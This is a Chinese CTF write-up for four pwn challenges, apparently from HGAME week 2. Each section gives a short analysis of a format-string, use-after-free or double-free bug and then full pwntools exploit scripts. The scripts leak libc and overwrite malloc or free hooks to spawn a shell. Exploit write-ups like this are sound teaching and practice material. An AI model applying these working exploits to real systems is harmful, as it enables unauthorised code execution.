YukkuriSay
漏洞分析
1.read不会设置缓冲区最后一个字节为’\0’ ,程序中将读取到的字符串回车改写为0,因此在输出字符串时若其中有残留地址则可泄露地址
2.gift中存在格式化字符串,但读取内容存在bss段,是非栈上的格式化字符串
利用思路
1.利用循环中read泄露栈和libc地址
(1)调试中下断点得到setbuf和栈到字符串的偏移
(2)填充掉偏移部分直到所需泄露的地址,进行地址泄露
(3)调试得到泄露到的地址和所需地址之间的偏移,直接在泄露的地址上进行加减
2.布栈
(1)输出ogg,在stack中找到最接近并且printf之后能运行到的地址,根据修改位数确定栈布局
3.利用格式化字符串进行任意地址写
(1)调试中输入8个a,8个b,8个c,获取栈布局,利用fmt工具获取三个地址偏移
(2)计算ogg低字节和低二三字节
(3)用hhn写入单字节,hn写入双字节,实现任意地址写
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('week-2.hgame.lwsec.cn',32265)
else:
r = process(file_name)
elf = ELF(file_name)
libc = ELF('./libc-2.31.so')
def dbg():
gdb.attach(r)
p1 = b'a' * (0xf8 - 0x10 - 6) + b'b' * 6
r.sendafter('What would you like to let Yukkri say?', p1)
r.recvuntil(b'b' * 6)
setbuffer = u64(r.recv(6).ljust(8, b'\x00')) - 204
libc_base = setbuffer - libc.sym['setbuffer']
one = [0xe3afe, 0xe3b01, 0xe3b04]
gadget = one[1] + libc_base
r.sendlineafter('anything else?(Y/n)', b'Y')
p2 = b'a' * (0x118 - 0x18 - 6 ) + b'c' * 6
r.send(p2)
r.recvuntil(b'c' * 6)
stack = u64(r.recv(6).ljust(8, b'\x00'))
__libc_start_main = stack + 0x8 #__libc_start_main + 24
r.sendlineafter('anything else?(Y/n)', b'Y')
p3 = p64(__libc_start_main) + p64(__libc_start_main + 1)
r.send(p3)
gadget1 = gadget & 0xff
gadget2 = (gadget>>8) & 0xffff
r.sendlineafter('anything else?(Y/n)', b'n')
p4 = '%' + str(gadget1) + 'c%8$hhn' + '%' + str((gadget2)- (gadget1)) + 'c%9$hn'
r.sendlineafter('gift for you: \n',p4)
r.interactive()
editable_note
漏洞分析
free之后未清零造成UAF漏洞
利用思路
1.填充tcache,利用unsorted bin泄露libc,计算出free_hook和system
2.利用UAF漏洞实现任意地址写,把free_hook改成system
3.创建一个内容为/bin/sh的堆并将其释放
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('week-2.hgame.lwsec.cn',30756)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index,size):
r.sendlineafter('>', b'1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
def delete(index):
r.sendlineafter('>', b'2')
r.sendlineafter('Index: ', str(index))
def edit(index,content):
r.sendlineafter('>', b'3')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Content: ', content)
def show(index):
r.sendlineafter('>', b'4')
r.sendlineafter('Index: ', str(index))
for i in range(8):
add(i, 0x88)
add(8, 0x88)
add(9, 0x88)
for i in range(8):
delete(i)
show(7)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base
add(10, 0x90)
add(11, 0x90)
add(12, 0x90)
delete(10)
delete(11)
delete(12)
edit(11, p64(free_hook))
add(13, 0x90)
add(14, 0x90)
add(15, 0x90)
edit(15, p64(system))
edit(13, b'/bin/sh\x00')
delete(13)
r.interactive()
fast_note
漏洞分析
free之后未清零造成UAF漏洞
利用思路
本题和上题的区别在于创建堆之后不能再修改,因此可以利用double free实现任意地址写
1.利用unsorted bin泄露libc,计算出ogg
2.创建两个堆并去释放形成double free
3.找malloc_hook最近能够绕过大小检查可作为chunk的地址,在该地址上创建堆并将malloc_hook改写为ogg
4.利用double free会触发mallo_hook的特点解决堆栈不平衡,触发ogg
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size, content):
r.sendlineafter('>', b'1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendlineafter('Content: ', content)
def delete(index):
r.sendlineafter('>', b'2')
r.sendlineafter('Index: ', str(index))
def show(index):
r.sendlineafter('>', b'3')
r.sendlineafter('Index: ', str(index))
add(0, 0x88, 'aaa')
add(1, 0x60, 'aaa')
delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/home/starrysky/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
gadget = one[1] + libc_base
add(2, 0x88, 'aaa')
add(3, 0x60, 'bbb')
delete(1)
delete(3)
delete(1)
add(4, 0x60, p64(malloc_hook - 0x23))
add(5, 0x60, 'aaa')
add(6, 0x60, 'bbb')
add(7, 0x60, p64(0) * 2 + b'\x00' * 3 + p64(gadget))
delete(5)
delete(5)
r.interactive()
new_fast_note
漏洞分析
delete中free之后未清零造成uaf漏洞
利用思路
1.填充tcache,再add一个进入unsorted bin,利用uaf漏洞showunsorted bin中的chunk,泄露libc地址并计算free_hook和system
2.填充tcache大小小于0x90,再add相同大小的chunk,double free之后进入fast bin
3.申请tcache和fast bin前两个chunk为free_hook,再申请掉fast bin中最后一个chunk,此时该chunk在free_hook地址,将其内容设置为system即可完成任意地址写
4.申请堆内容为/bin/sh,再free掉,等同于执行system(/bin/sh),即可getshell
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './vuln'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(index, size, content):
r.sendlineafter('>', b'1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendlineafter('Content: ', content)
def delete(index):
r.sendlineafter('>', b'2')
r.sendlineafter('Index: ', str(index))
def show(index):
r.sendlineafter('>', b'3')
r.sendlineafter('Index: ', str(index))
for i in range(8):
add(i, 0x88, 'aaa')
add(8, 0x60, 'bbb')
add(9, 0x60, 'bbb')
for i in range(8):
delete(i)
show(7)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook'] + libc_base
system = libc.sym['system'] + libc_base
add(11, 0x10, b'/bin/sh\x00')
for i in range(8):
add(i, 0x60, 'aaa')
for i in range(8):
delete(i)
delete(8)
delete(9)
delete(8)
for i in range(10):
add(i, 0x60, p64(free_hook))
add(10, 0x60, p64(system))
delete(11)
r.interactive()